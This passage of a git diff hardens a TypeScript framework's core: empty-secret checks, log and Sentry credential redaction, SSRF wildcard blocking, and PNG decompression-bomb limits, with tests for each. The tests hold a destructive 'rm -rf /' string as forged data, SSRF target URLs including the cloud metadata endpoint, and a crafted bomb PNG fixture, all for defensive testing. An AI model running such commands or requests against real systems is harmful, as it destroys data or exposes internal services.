for the next hop. deadlineAt: earliest(screenDeadline(patch.deadlineAt) ?? undefined, parent.deadlineAt), - signal: patch.signal ?? parent.signal, + signal: composeSignal(parent.signal, patch.signal), services: { ...carried, ...(patch.services ?? {}) }, }); return requestContext.run(child, fn); diff --git a/packages/core/src/cursor.ts b/packages/core/src/cursor.ts index 6b166472d..89fd71bfe 100644 --- a/packages/core/src/cursor.ts +++ b/packages/core/src/cursor.ts @@ -49,7 +49,10 @@ let configured: string | undefined; * warned and nothing failed. */ function currentSecret(): string { - return configured ?? Bun.env['ULTIMATE_CURSOR_SECRET'] ?? DEV_SECRET; + // `||`, never `??`: `ULTIMATE_CURSOR_SECRET=` (a blank compose or chart value) is the EMPTY + // string, which `??` keeps — an HMAC keyed by '' that anyone can forge, while + // `usesDevCursorSecret()` answered `false` and the boot check passed. Empty is unset. + return configured || Bun.env['ULTIMATE_CURSOR_SECRET'] || DEV_SECRET; } /** diff --git a/packages/core/src/dev-secrets.test.ts b/packages/core/src/dev-secrets.test.ts index a402f2376..ba5b721cc 100644 --- a/packages/core/src/dev-secrets.test.ts +++ b/packages/core/src/dev-secrets.test.ts @@ -1,7 +1,12 @@ // Single responsibility: pins the boot refusal of the shipped dev cursor secret outside a local // environment — and that a process with NO environment counts as production, not development. import { afterEach, describe, expect, test } from 'bun:test'; -import { configureCursorSigning, resetCursorSigning } from './cursor'; +import { + configureCursorSigning, + currentSigningSecret, + resetCursorSigning, + usesDevCursorSecret, +} from './cursor'; import { assertNoDevSecretsOutsideLocal } from './dev-secrets'; const codeOf = (run: () => unknown): string | undefined => { @@ -39,6 +44,25 @@ describe('assertNoDevSecretsOutsideLocal', () => { expect(() => assertNoDevSecretsOutsideLocal({ env: { NODE_ENV: environment } })).not.toThrow(); }); + test.each(['production', 'staging'])( + '%s refuses an EMPTY secret as the unset one it is', + (environment) => { + // `ULTIMATE_CURSOR_SECRET=` in a compose file or a chart with a blank value: `??` kept the + // empty string, every cursor was signed under the key '' and the boot check passed. + process.env['ULTIMATE_CURSOR_SECRET'] = ''; + expect(usesDevCursorSecret()).toBe(true); + const run = () => assertNoDevSecretsOutsideLocal({ env: { ULTIMATE_ENV: environment } }); + expect(codeOf(run)).toBe('X_CURSOR_SECRET_DEV'); + }, + ); + + test('an empty configureCursorSigning value is unset too, and never an empty HMAC key', () => { + delete process.env['ULTIMATE_CURSOR_SECRET']; + configureCursorSigning(''); + expect(usesDevCursorSecret()).toBe(true); + expect(currentSigningSecret()).not.toBe(''); + }); + test('a real secret passes everywhere, from the env or from configureCursorSigning', () => { process.env['ULTIMATE_CURSOR_SECRET'] = 'a-real-secret'; expect(() => assertNoDevSecretsOutsideLocal({ env: {} })).not.toThrow(); diff --git a/packages/core/src/dev-secrets.ts b/packages/core/src/dev-secrets.ts index b25c04b35..20be00c4a 100644 --- a/packages/core/src/dev-secrets.ts +++ b/packages/core/src/dev-secrets.ts @@ -19,7 +19,7 @@ export class CursorSecretDevError extends UltimateError { super({ code: CursorSecretDevError.code, cause: - 'ULTIMATE_CURSOR_SECRET is unset, so this process signs cursors with the development key the framework ships — anyone can forge a page position', + 'ULTIMATE_CURSOR_SECRET is unset or empty, so this process signs cursors with the development key the framework ships — anyone can forge a page position', fix: "x secrets set ULTIMATE_CURSOR_SECRET — or export ULTIMATE_CURSOR_SECRET from the platform's secret store", meta: { variable: 'ULTIMATE_CURSOR_SECRET' }, }); diff --git a/packages/core/src/error-reporter-sentry.test.ts b/packages/core/src/error-reporter-sentry.test.ts index a96dc51f6..c6fb8eb9d 100644 --- a/packages/core/src/error-reporter-sentry.test.ts +++ b/packages/core/src/error-reporter-sentry.test.ts @@ -12,6 +12,7 @@ import { sentryErrorReporter, } from './error-reporter-sentry'; import { UltimateError } from './errors'; +import { REDACTED } from './logger'; afterEach(() => { resetErrorReporting(); @@ -117,6 +118,68 @@ describe('sentryEnvelope', () => { }); }); +describe("sentryEnvelope · meta is the caller's, so it is rendered, nested and scrubbed", () => { + const envelopeOf = ( + meta: Record, + extra?: Record, + ): Record => { + configureErrorReporting({ clock: frozenClock(new Date('2026-08-11T00:00:00Z')) }); + const built = errorReport( + new UltimateError({ code: 'X_ENVELOPE_FIXTURE', cause: 'c', fix: 'the real fix', meta }), + { source: 'http', scope: { requestId: 'req-1', ...(extra === undefined ? {} : { extra }) } }, + ); + const envelope = sentryEnvelope(built, { + dsn: 'https://k@h.example/1', + eventId: 'f'.repeat(32), + }); + const payload = JSON.parse(envelope.split('\n')[2] as string) as Record; + return payload['extra'] as Record; + }; + + test('a bigint or a cycle in meta still produces an envelope — the error is reported', () => { + // `JSON.stringify` raises on both, so the one error whose meta held an id as a bigint was the + // one error the monitor never heard about. + const cycle: Record = { name: 'loop' }; + cycle['self'] = cycle; + const extra = envelopeOf({ rowId: 10n ** 20n, cycle }); + expect((extra['meta'] as Record)['rowId']).toBe('100000000000000000000n'); + expect(extra['fix']).toBe('the real fix'); + }); + + test("meta cannot overwrite the framework's own keys: it lives under extra.meta", () => { + const extra = envelopeOf({ + fix: 'rm -rf /', + stack: 'forged', + requestId: 'forged', + table: 'posts', + }); + expect(extra['fix']).toBe('the real fix'); + expect(extra['requestId']).toBe('req-1'); + expect(extra['stack']).not.toBe('forged'); + expect(extra['table']).toBeUndefined(); + expect((extra['meta'] as Record)['table']).toBe('posts'); + }); + + test('scope.extra stays beside the contract and still cannot replace it', () => { + const extra = envelopeOf({}, { fix: 'forged', tenant: 'org-3', big: 5n }); + expect(extra['fix']).toBe('the real fix'); + expect(extra['tenant']).toBe('org-3'); + expect(extra['big']).toBe('5n'); + }); + + test('a credential under a redacted key never reaches the monitor', () => { + const extra = envelopeOf( + { password: 'hunter2', nested: { resetToken: 'tok_live' } }, + { authorization: 'Bearer abc' }, + ); + const text = JSON.stringify(extra); + expect(text).not.toContain('hunter2'); + expect(text).not.toContain('tok_live'); + expect(text).not.toContain('Bearer abc'); + expect((extra['meta'] as Record)['password']).toBe(REDACTED); + }); +}); + describe('sentryErrorReporter', () => { test('POSTs one envelope with the protocol auth header, and never awaits it', async () => { const calls: { url: string; init: RequestInit }[] = []; diff --git a/packages/core/src/error-reporter-sentry.ts b/packages/core/src/error-reporter-sentry.ts index 56ab81756..269fe9ff9 100644 --- a/packages/core/src/error-reporter-sentry.ts +++ b/packages/core/src/error-reporter-sentry.ts @@ -7,7 +7,7 @@ import { renderThrowable } from './error-render'; import type { ErrorReport, ErrorReporter, ErrorSeverity } from './error-reporter'; import { type CodedErrorInit, UltimateError } from './errors'; import { traceId } from './ids'; -import { logger } from './logger'; +import { logger, redactFields } from './logger'; export class ErrorReporterDsnInvalidError extends UltimateError { static readonly code = 'X_ERROR_REPORTER_DSN_INVALID'; @@ -108,6 +108,10 @@ function payloadOf(report: ErrorReport, eventId: string): Record { await first; }); }); + +describe('unit · a gate limit that is not a count is refused at construction', () => { + test.each([ + ['maxConcurrent', { maxConcurrent: Number.NaN, maxQueued: 1 }], + ['maxConcurrent', { maxConcurrent: 1.5, maxQueued: 1 }], + ['maxConcurrent', { maxConcurrent: -1, maxQueued: 1 }], + ['maxQueued', { maxConcurrent: 1, maxQueued: Number.NaN }], + ['maxQueued', { maxConcurrent: 1, maxQueued: Number.POSITIVE_INFINITY }], + ])('%s out of range: %p', (option, limits) => { + // `active < NaN` and `waiters.length >= NaN` are both false, so every caller parked in a queue + // with no bound and nothing to release it. + try { + createFlightGate(limits); + expect.unreachable(); + } catch (error) { + expect((error as UltimateError).code).toBe('X_INVARIANT'); + expect((error as UltimateError).cause).toContain(option); + } + }); + + test('a gate with no slot refuses instead of queueing for one that never frees', async () => { + const gate = createFlightGate({ maxConcurrent: 0, maxQueued: 4 }); + let ran = false; + try { + await gate.run(async () => { + ran = true; + }); + expect.unreachable(); + } catch (error) { + expect((error as UltimateError).code).toBe('X_FLIGHT_GATE_OVERLOADED'); + } + expect(ran).toBe(false); + expect(gate.queued).toBe(0); + }); +}); diff --git a/packages/core/src/flight-gate.ts b/packages/core/src/flight-gate.ts index 22c034060..079d15c54 100644 --- a/packages/core/src/flight-gate.ts +++ b/packages/core/src/flight-gate.ts @@ -8,6 +8,7 @@ // memory fault and answers it minutes late. import { UltimateError } from './errors'; +import { finiteCount } from './finite-option'; export interface FlightGateLimits { /** Work running at once. */ @@ -53,23 +54,34 @@ export function createFlightGate( options?: FlightGateOptions, ): FlightGate { const subject = options?.subject ?? 'in-flight work'; + // Refused at CONSTRUCTION, because this pair wedges rather than fails: `active < NaN` and + // `waiters.length >= NaN` are both false, so every caller parks in a queue with no bound. Zero + // is a real value at both — "never wait" and, at the width, "refuse everything". + const maxConcurrent = finiteCount( + `createFlightGate (${subject})`, + 'maxConcurrent', + limits.maxConcurrent, + ); + const maxQueued = finiteCount(`createFlightGate (${subject})`, 'maxQueued', limits.maxQueued); const waiters: Array<() => void> = []; let active = 0; const state = (): FlightGateState => ({ - maxConcurrent: limits.maxConcurrent, - maxQueued: limits.maxQueued, + maxConcurrent, + maxQueued, active, queued: waiters.length, subject, }); const acquire = async (): Promise => { - if (active < limits.maxConcurrent) { + if (active < maxConcurrent) { active += 1; return; } - if (waiters.length >= limits.maxQueued) { + // A width of zero has no slot to hand over, so a waiter would never be resumed: the queue is + // for work that WILL run, and here none will. + if (maxConcurrent === 0 || waiters.length >= maxQueued) { const current = state(); throw options?.overflow?.(current) ?? gateOverloaded(current); } diff --git a/packages/core/src/host-rules.test.ts b/packages/core/src/host-rules.test.ts index ad166a808..2734e81fe 100644 --- a/packages/core/src/host-rules.test.ts +++ b/packages/core/src/host-rules.test.ts @@ -73,3 +73,35 @@ describe('unit · the decision fails CLOSED', () => { }); }); }); + +describe('unit · a wildcard never admits an address inside the network', () => { + // `*` is "any SITE", and the header of this module names the request it exists to stop: an + // injected ``. A name-only match let `['*']` through to it. + test.each([ + 'http://169.254.169.254/latest/meta-data/', + 'http://127.0.0.1:9229/json', + 'http://10.0.0.5/', + 'http://192.168.1.1/', + 'http://[::1]:5432/', + 'http://2130706433/', + 'http://0x7f.1/', + ])(`%s is refused under ${ANY_HOST}`, (url) => { + expect(hostDecision(url, [ANY_HOST]).allowed).toBe(false); + }); + + test('a public address literal and every hostname still pass the wildcard', () => { + expect(hostDecision('http://93.184.216.34/', [ANY_HOST]).allowed).toBe(true); + expect(hostDecision('https://shop.example/', [ANY_HOST]).allowed).toBe(true); + expect(hostDecision('http://localhost:3000/', [ANY_HOST]).allowed).toBe(true); + }); + + test('the opt-out is NAMING the address — an exact rule, visible in review', () => { + expect(hostDecision('http://127.0.0.1:3000/', [ANY_HOST, '127.0.0.1'])).toEqual({ + allowed: true, + host: '127.0.0.1', + }); + expect(hostDecision('http://[::1]:3000/', ['[::1]']).allowed).toBe(true); + expect(hostDecision('http://10.0.0.5/', ['10.0.0.5']).allowed).toBe(true); + expect(hostDecision('http://10.0.0.6/', [ANY_HOST, '10.0.0.5']).allowed).toBe(false); + }); +}); diff --git a/packages/core/src/host-rules.ts b/packages/core/src/host-rules.ts index f4551ec8f..cfdc9d287 100644 --- a/packages/core/src/host-rules.ts +++ b/packages/core/src/host-rules.ts @@ -4,6 +4,8 @@ // read. In core because two tier-5 packages drive a browser (`scraping`, and `cli`'s `x shot`) and // neither may import the other; two copies of this rule would be two answers to "may it leave". +import { classifyAddress } from './address-class'; + export type HostRule = string; /** The one spelling that means "every host", written out so it is visible in review. */ @@ -51,6 +53,31 @@ export function hostMatches(host: string, rule: HostRule): boolean { return normalised === cleaned; } +/** A rule that names a CLASS of hosts rather than one — the two spellings `hostMatches` widens. */ +const isWildcard = (rule: HostRule): boolean => { + const cleaned = rule.trim(); + return cleaned === ANY_HOST || cleaned.startsWith('*.'); +}; + +/** + * The address-class FLOOR. A wildcard means "any site", and an address literal inside the network + * — loopback, RFC 1918, link-local, the metadata endpoint — is not a site: it is the request this + * module's header names. So a wildcard never admits one, and the opt-out is NAMING it: an exact + * rule (`'127.0.0.1'`, `'[::1]'`) is a line a reviewer can see, which `'*'` is not. + * + * What this cannot do is see through a NAME. `allowHosts: ['*']` still admits a hostname that + * resolves inward, because this function is synchronous and has no resolver — pinning the + * resolved address belongs to the driver that opens the connection, as `@ultimat3/jobs`' + * `webhook-target.ts` does for a webhook. The URL parser has already folded the numeric + * spellings (`2130706433`, `0x7f.1`) to dotted form, so they are classified as what they are. + */ +function admits(host: string, rule: HostRule): boolean { + if (!hostMatches(host, rule)) return false; + if (!isWildcard(rule)) return true; + const kind = classifyAddress(host); + return kind === undefined || kind === 'public'; +} + /** * Fails CLOSED: a URL that cannot be parsed is refused. A driver handed a malformed request has * no way to know where it would have gone, and "we could not tell, so we let it through" is the @@ -67,5 +94,5 @@ export function hostDecision(url: string, allowHosts: readonly HostRule[]): Host return { allowed: false, host: '' }; } if (host === '') return { allowed: false, host }; - return { allowed: allowHosts.some((rule) => hostMatches(host, rule)), host }; + return { allowed: allowHosts.some((rule) => admits(host, rule)), host }; } diff --git a/packages/core/src/image/errors.test.ts b/packages/core/src/image/errors.test.ts index 27a6900f9..44232f4dc 100644 --- a/packages/core/src/image/errors.test.ts +++ b/packages/core/src/image/errors.test.ts @@ -72,11 +72,13 @@ describe('imageDecodeFailed', () => { }); describe('imageTooLarge', () => { - test('points at the ceiling by name, so raising it is a deliberate act', () => { + test('names the ceiling, and never tells a reader to raise a constant nobody can set', () => { const error = imageTooLarge('80000000 pixels, over the ceiling'); expect(error).toBeInstanceOf(ImageTooLargeError); expect(error.code).toBe('X_IMAGE_TOO_LARGE'); expect(error.fix).toContain('MAX_IMAGE_PIXELS'); + expect(error.fix).not.toContain('raise'); + expect(error.fix).toContain('ImageTransformDriver'); }); }); diff --git a/packages/core/src/image/errors.ts b/packages/core/src/image/errors.ts index b5114ad83..bf5fcb208 100644 --- a/packages/core/src/image/errors.ts +++ b/packages/core/src/image/errors.ts @@ -55,7 +55,9 @@ export const imageTooLarge = ( ): ImageTooLargeError => new ImageTooLargeError( cause, - 'downscale the source before it reaches the pipeline, or raise MAX_IMAGE_PIXELS deliberately', + // No "or lift the ceiling": `MAX_IMAGE_PIXELS` is a constant, so a fix naming it as a knob + // sent a reader looking for a setting that does not exist. + 'downscale the source below the 64-megapixel ceiling before it reaches the pipeline, or route it through an ImageTransformDriver (a CDN or an external encoder) — MAX_IMAGE_PIXELS is fixed, not a setting', meta, ); diff --git a/packages/core/src/image/png-pixels.test.ts b/packages/core/src/image/png-pixels.test.ts index 283c41c67..9a02b554d 100644 --- a/packages/core/src/image/png-pixels.test.ts +++ b/packages/core/src/image/png-pixels.test.ts @@ -110,3 +110,47 @@ describe('decodeImage', () => { expect(failure.cause).toContain('inflates to'); }); }); + +describe('decodeImage · the header is believed BEFORE the stream is inflated', () => { + const u32 = (value: number): Uint8Array => { + const out = new Uint8Array(4); + new DataView(out.buffer).setUint32(0, value); + return out; + }; + const chunkOf = (type: string, data: Uint8Array): Uint8Array => + Uint8Array.from([...u32(data.length), ...new TextEncoder().encode(type), ...data, 0, 0, 0, 0]); + + /** A PNG whose header says `width`x`height` and whose IDAT inflates to `inflated` zero bytes. */ + const pngDeclaring = (width: number, height: number, inflated: number): Uint8Array => { + const honest = encodeImage(createRaster(1, 1, 'test')); + const ihdr = Uint8Array.from([...u32(width), ...u32(height), ...honest.subarray(24, 29)]); + const deflated = Bun.deflateSync(new Uint8Array(inflated), { windowBits: -15 }); + const idat = Uint8Array.from([0x78, 0x9c, ...deflated, 0, 0, 0, 0]); + return Uint8Array.from([ + ...honest.subarray(0, 8), + ...chunkOf('IHDR', ihdr), + ...chunkOf('IDAT', idat), + ...chunkOf('IEND', new Uint8Array(0)), + ]); + }; + + test('a stream that inflates past what the header needs stops at the header, not at 8 MB', () => { + // A 1x1 RGBA image is 5 inflated bytes. The whole stream used to be inflated first and + // measured afterwards — a few hundred kilobytes of zeros became hundreds of megabytes. + const bomb = pngDeclaring(1, 1, 8_000_000); + expect(bomb.length).toBeLessThan(20_000); + const failure = thrown(() => decodeImage(bomb)); + expect(failure.code).toBe('X_IMAGE_DECODE_FAILED'); + expect(failure.cause).toContain('more than the 5 bytes'); + expect(failure.cause).not.toContain('8000000'); + }); + + test('a header over the pixel ceiling is refused before a byte is inflated', () => { + const failure = thrown(() => decodeImage(pngDeclaring(30_000, 30_000, 16))); + expect(failure.code).toContain('X_IMAGE_TOO_LARGE'); + }); + + test('a header declaring no pixels is malformed, with nothing inflated either', () => { + expect(thrown(() => decodeImage(pngDeclaring(0, 4, 16))).cause).toContain('not a size'); + }); +}); diff --git a/packages/core/src/image/png-pixels.ts b/packages/core/src/image/png-pixels.ts index f63e7c0ba..8df89e6f8 100644 --- a/packages/core/src/image/png-pixels.ts +++ b/packages/core/src/image/png-pixels.ts @@ -3,6 +3,14 @@ // safe zone `@ultimat3/pwa` promises is a composite. So this file exists for exactly that one hop: // Bun re-encodes to PNG, this reads the pixels back, `canvas.ts` blits, this writes them again. +// why: `Bun.inflateSync` takes no output bound — measured, it ignores `maxOutputLength` and +// returns the whole stream — and `DecompressionStream` is async where this seam is synchronous. +// `node:zlib` is the one inflate here that can be told when to stop. A NAMESPACE import, never a +// named one: the browser polyfill of this module has no `inflateRawSync`, and a named import of a +// missing export fails the BUNDLE of every browser graph that reaches the barrel +// (`async-context.test.ts` builds one) — for a function no browser ever calls. +import * as zlib from 'node:zlib'; +import { stringField } from '../error-render'; import { imageDecodeFailed, imageUnsupported } from './errors'; import { adler32, @@ -14,7 +22,7 @@ import { unshared, writeU32, } from './png-bytes'; -import { type Raster, rasterFrom } from './raster'; +import { assertPixelBudget, type Raster, rasterFrom } from './raster'; /** Truecolour with alpha, 8 bits per channel — the ONE shape `Raster` is. */ const RGBA_COLOR_TYPE = 8 << 4; @@ -105,8 +113,13 @@ function readHeader(bytes: Uint8Array): PngHeader { return { width: readU32(bytes, 16), height: readU32(bytes, 20) }; } -/** Every IDAT concatenated: a PNG may split its stream across any number of them. */ -function idatStream(bytes: Uint8Array): Uint8Array { +/** + * Every IDAT concatenated — a PNG may split its stream across any number of them — and inflated + * to AT MOST `limit` bytes, which is what the header says the pixels need. Inflating first and + * measuring after is the decompression bomb: deflate packs zeros ~1000:1, so a file of a few + * hundred kilobytes declaring 1x1 allocated hundreds of megabytes before anything compared it to 5. + */ +function idatStream(bytes: Uint8Array, limit: number): Uint8Array { const parts: Uint8Array[] = []; let at = 8; while (at + 12 <= bytes.length) { @@ -123,8 +136,16 @@ function idatStream(bytes: Uint8Array): Uint8Array { try { // The 2-byte zlib header and the 4-byte Adler-32 trailer are PNG's envelope, stripped here // so the payload inflates as RAW deflate — see the encoder above for the mirror image. - return Bun.inflateSync(unshared(stream.subarray(2, stream.length - 4)), { windowBits: -15 }); - } catch { + return zlib.inflateRawSync(unshared(stream.subarray(2, stream.length - 4)), { + maxOutputLength: limit, + }); + } catch (error) { + if (stringField(error, 'code') === 'ERR_BUFFER_TOO_LARGE') { + throw imageDecodeFailed( + `the PNG IDAT stream inflates to more than the ${limit} bytes its header's size needs`, + { length: stream.length, limit }, + ); + } throw imageDecodeFailed(`the PNG IDAT stream (${stream.length} bytes) could not be inflated`, { length: stream.length, }); @@ -171,8 +192,10 @@ function unfilter(raw: Uint8Array, width: number, height: number): Uint8ClampedA /** PNG bytes to RGBA pixels. Refuses anything but 8-bit RGBA, naming the pipeline that reads it. */ export function decodeImage(bytes: Uint8Array): Raster { const { width, height } = readHeader(bytes); - const raw = idatStream(bytes); + // From the HEADER, before the stream is touched: it bounds `expected`, which bounds the inflate. + assertPixelBudget(width, height, 'PNG'); const expected = (width * BYTES_PER_PIXEL + 1) * height; + const raw = idatStream(bytes, expected); if (raw.length !== expected) { throw imageDecodeFailed( `the PNG inflates to ${raw.length} bytes but ${width}x${height} RGBA needs ${expected}`, diff --git a/packages/core/src/image/probe.test.ts b/packages/core/src/image/probe.test.ts index a92ce814a..9f7e70449 100644 --- a/packages/core/src/image/probe.test.ts +++ b/packages/core/src/image/probe.test.ts @@ -113,6 +113,29 @@ describe('sniffImageFormat', () => { }); } + /** An `ftyp` box: major brand, minor version 0, then the compatible brands. */ + const ftyp = (major: string, compatible: readonly string[]): Uint8Array => { + const box = new Uint8Array(16 + compatible.length * 4); + new DataView(box.buffer).setUint32(0, box.length); + box.set(encode(`ftyp${major}`), 4); + compatible.forEach((brand, i) => { + box.set(encode(brand), 16 + i * 4); + }); + return box; + }; + + test('`mif1` alone is not AVIF — it is the generic HEIF brand a HEIC file carries too', () => { + expect(sniffImageFormat(ftyp('mif1', ['mif1', 'heic']))).toBeNull(); + expect(sniffImageFormat(ftyp('heic', ['mif1', 'heic']))).toBeNull(); + expect(sniffImageFormat(ftyp('mif1', []))).toBeNull(); + }); + + test('an AVIF brand anywhere in the ftyp box still sniffs, major or compatible', () => { + expect(sniffImageFormat(ftyp('avif', ['mif1', 'miaf']))).toBe('avif'); + expect(sniffImageFormat(ftyp('mif1', ['mif1', 'avif']))).toBe('avif'); + expect(sniffImageFormat(ftyp('avis', ['msf1']))).toBe('avif'); + }); + test('returns null rather than guessing, for anything it does not recognise', () => { expect(sniffImageFormat(new Uint8Array(0))).toBeNull(); expect(sniffImageFormat(Uint8Array.from([1, 2, 3]))).toBeNull(); @@ -249,8 +272,8 @@ describe('probeImage / pixel budget', () => { expect(thrownCode(() => probeImage(pngHeader(30_000, 30_000)))).toBe('X_IMAGE_TOO_LARGE'); }); - test('a header claiming zero pixels is refused too', () => { - expect(thrownCode(() => probeImage(pngHeader(0, 0)))).toBe('X_IMAGE_TOO_LARGE'); + test('a header claiming zero pixels is refused too — as malformed, not as too large', () => { + expect(thrownCode(() => probeImage(pngHeader(0, 0)))).toBe('X_IMAGE_DECODE_FAILED'); }); test('a large but legal header still passes', () => { diff --git a/packages/core/src/image/probe.ts b/packages/core/src/image/probe.ts index 4b22e3f45..e0030a72a 100644 --- a/packages/core/src/image/probe.ts +++ b/packages/core/src/image/probe.ts @@ -66,8 +66,13 @@ function requireBytes(bytes: Uint8Array, needed: number, format: string, missing const PNG_SIGNATURE = [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a] as const; -/** `mif1` is the generic HEIF brand AVIF files carry; `avis` is an image sequence. */ -const AVIF_BRANDS: ReadonlySet = new Set(['avif', 'avis', 'mif1']); +/** + * `avif` is a still, `avis` an image sequence. NOT `mif1`: that is the generic HEIF brand, which + * an AVIF file lists as a COMPATIBLE brand and a HEIC file lists too — counting it sniffed every + * iPhone photo as AVIF, and the probe then read (or failed to read) it as one. An AVIF whose major + * brand is `mif1` still names `avif` among its compatible brands, which the scan below reads. + */ +const AVIF_BRANDS: ReadonlySet = new Set(['avif', 'avis']); function isAvif(bytes: Uint8Array): boolean { if (!ascii(bytes, 4, 'ftyp')) return false; diff --git a/packages/core/src/image/raster.test.ts b/packages/core/src/image/raster.test.ts index 394673597..42206dd06 100644 --- a/packages/core/src/image/raster.test.ts +++ b/packages/core/src/image/raster.test.ts @@ -58,8 +58,10 @@ describe('assertPixelBudget', () => { ['NaN', Number.NaN, 10], ['Infinity', Number.POSITIVE_INFINITY, 10], ])('a %s dimension is not a size', (_label, width, height) => { + // A header that declares no size is INCONSISTENT bytes, not too many of them: it answered + // X_IMAGE_TOO_LARGE, whose fix is to downscale an image that has no pixels to scale. const failure = thrown(() => assertPixelBudget(width, height, 'png')); - expect(failure.code).toBe('X_IMAGE_TOO_LARGE'); + expect(failure.code).toBe('X_IMAGE_DECODE_FAILED'); expect(failure.cause).toContain('not a size'); }); }); diff --git a/packages/core/src/image/raster.ts b/packages/core/src/image/raster.ts index 6d0039d93..9a1f9a336 100644 --- a/packages/core/src/image/raster.ts +++ b/packages/core/src/image/raster.ts @@ -25,7 +25,9 @@ export const MAX_IMAGE_PIXELS = 64_000_000; /** Checked from the header before a single byte is allocated. */ export function assertPixelBudget(width: number, height: number, source: string): void { if (!Number.isInteger(width) || !Number.isInteger(height) || width < 1 || height < 1) { - throw imageTooLarge(`${source} declares a ${width}x${height} image, which is not a size`, { + // Decode-failed, not too-large: a header declaring zero, a fraction or `NaN` pixels is + // inconsistent bytes, and the too-large fix — downscale it — has nothing to act on. + throw imageDecodeFailed(`${source} declares a ${width}x${height} image, which is not a size`, { width, height, source, diff --git a/packages/core/src/index.ts b/packages/core/src/index.ts index 94a2d9c21..41a141a85 100644 --- a/packages/core/src/index.ts +++ b/packages/core/src/index.ts @@ -616,6 +616,7 @@ export { } from './page-meta'; export type { ProcessMetricsOptions, ProcessReading } from './process-metrics'; export { readProcess, resetProcessMetrics, startProcessMetrics } from './process-metrics'; +export { hasPublicCause, registerPublicCause, resetPublicCauses } from './public-cause'; export { type CappedBody, readWithinLimit } from './read-capped'; export type { RecordEnvelope, RecordRows } from './record-envelope'; export { decodeRecordEnvelope, encodeRecordEnvelope, RECORDS_HEADER } from './record-envelope'; diff --git a/packages/core/src/logger-redaction.test.ts b/packages/core/src/logger-redaction.test.ts new file mode 100644 index 000000000..f1df883e0 --- /dev/null +++ b/packages/core/src/logger-redaction.test.ts @@ -0,0 +1,179 @@ +// Single responsibility: pins what the logger redacts by KEY — the exact list, the compound +// credential names the matcher catches, and the ordinary names it must leave readable. +import { describe, expect, test } from 'bun:test'; +import { frozenClock } from './clock'; +import { createLogger, isRedactedKey, REDACTED, redactKeys } from './logger'; + +function capture() { + const lines: Record[] = []; + const logger = createLogger({ + level: 'info', + clock: frozenClock('2026-07-26T10:00:00.000Z'), + writer: (line) => lines.push(JSON.parse(line) as Record), + }); + return { logger, lines }; +} + +describe('logger · redaction by key', () => { + test('redacts secret keys anywhere in the payload', () => { + redactKeys(['DATABASE_URL']); + const { logger, lines } = capture(); + logger.info('boot', { + DATABASE_URL: 'postgres://user:pw@host/db', + password: 'hunter2', + nested: { token: 'abc', keep: 'yes' }, + }); + expect(lines[0]).toMatchObject({ + DATABASE_URL: REDACTED, + password: REDACTED, + nested: { token: REDACTED, keep: 'yes' }, + }); + }); + + /** + * `isRedactedKey` lowercases the lookup, so three of the eight shipped defaults were stored + * camelCase and matched nothing — and those three are the exact field names on `OAuthTokens` + * (`accessToken`, `refreshToken`, `apiKey`). One `logger.info('token exchange', { tokens })` + * wrote a live access token into the log store for the full retention. + */ + test('every default redaction key actually matches the field it names', () => { + const { logger, lines } = capture(); + logger.info('token exchange', { + apiKey: 'ak_live_1', + accessToken: 'at_live_1', + refreshToken: 'rt_live_1', + api_key: 'ak_live_2', + access_token: 'at_live_2', + refresh_token: 'rt_live_2', + client_secret: 'cs_live_1', + id_token: 'idt_live_1', + private_key: 'pk_live_1', + session_token: 'st_live_1', + 'set-cookie': 'x_session=abc; HttpOnly', + keep: 'yes', + }); + const line = lines[0] ?? {}; + for (const [key, value] of Object.entries(line)) { + if (key === 'ts' || key === 'level' || key === 'msg' || key === 'keep') continue; + expect([key, value]).toEqual([key, REDACTED]); + } + expect(line['keep']).toBe('yes'); + }); + + /** + * Exact-key matching let every COMPOUND credential name through: an action with `audit: true` + * persisted `currentPassword`, `mfaSecret` and `resetToken` in clear, because `@ultimat3/action` + * asks this same predicate. The framework's own `passwordHash` / `tokenHash` / `keyHash` columns + * were not listed either. + */ + test.each([ + 'currentPassword', + 'newPassword', + 'new_password', + 'passwordConfirmation', + 'mfaSecret', + 'totpCode', + 'totp', + 'recoveryCode', + 'recovery_codes', + 'resetToken', + 'csrfToken', + 'x-api-key', + 'webhookSecret', + 'passwordHash', + 'tokenHash', + 'keyHash', + 'key_hash', + 'recoveryCodeHashes', + 'secretAccessKey', + 'appSecrets', + 'stripeApiKey', + 'vapidPrivateKey', + 'sessionToken', + 'bearerToken', + 'emailOtp', + // Review of #616: key MATERIAL under any qualifier, the id half of a key pair, a provider + // token in env spelling or camel, a registry auth blob, and a URL that embeds a password. + 'AWS_ACCESS_KEY_ID', + 'accessKeyId', + 'AWS_SESSION_TOKEN', + 'NPM_TOKEN', + 'GITHUB_TOKEN', + 'GH_TOKEN', + 'githubToken', + 'npmToken', + 'x-auth-token', + 'DOCKER_AUTH_CONFIG', + 'encryptionKey', + 'signingKey', + 'masterKey', + 'hmacKey', + 'ULTIMATE_SECRETS_KEY', + 'ULTIMATE_SECRETS_RETIRED_KEYS', + 'connectionString', + 'dsn', + 'sentryDsn', + 'databaseUrl', + 'DATABASE_URL', + 'REDIS_URL', + ])('a compound credential name is redacted: %s', (key) => { + expect(isRedactedKey(key)).toBe(true); + const { logger, lines } = capture(); + logger.info('audit', { input: { [key]: 'plaintext', keep: 'yes' } }); + expect(lines[0]?.['input']).toEqual({ [key]: REDACTED, keep: 'yes' }); + }); + + // The other direction, or the matcher is a blunt instrument. A redacted field is one an operator + // cannot correlate on: `@ultimat3/mail` logs `idempotencyToken` so a retry can be matched to its + // first send, a paging token is how a listing is resumed, and a count of tokens is a bill. + // Nothing here may touch an error `code`, and a NAME of a secret is not the secret. + test.each([ + 'idempotencyToken', + 'idempotencyKey', + 'idempotency_key', + 'pageToken', + 'nextPageToken', + 'continuationToken', + 'nextContinuationToken', + 'cursor', + 'tokens', + 'maxTokens', + 'inputTokens', + 'cache_read_input_tokens', + 'tokenCount', + 'tokenUrl', + 'token_type', + 'token_endpoint', + 'clientSecretEnv', + 'secretsPath', + 'secretName', + 'totpStep', + 'apiKeyId', + 'keyId', + 'recoveryCodesRemaining', + // Review of #616, the other direction: a key that is a LOOKUP, an id, a path or a plain URL. + 'SSH_AUTH_SOCK', + 'cacheKey', + 'partitionKey', + 'primaryKey', + 'foreignKey', + 'sortKey', + 'i18nKey', + 'masterKeyId', + 'signingKeyId', + 'keys', + 'url', + 'envelopeUrl', + 'tokenEndpoint', + 'IDEMPOTENCY_TOKEN', + 'code', + 'statusCode', + 'keep', + 'key', + 'hash', + 'option', + 'author', 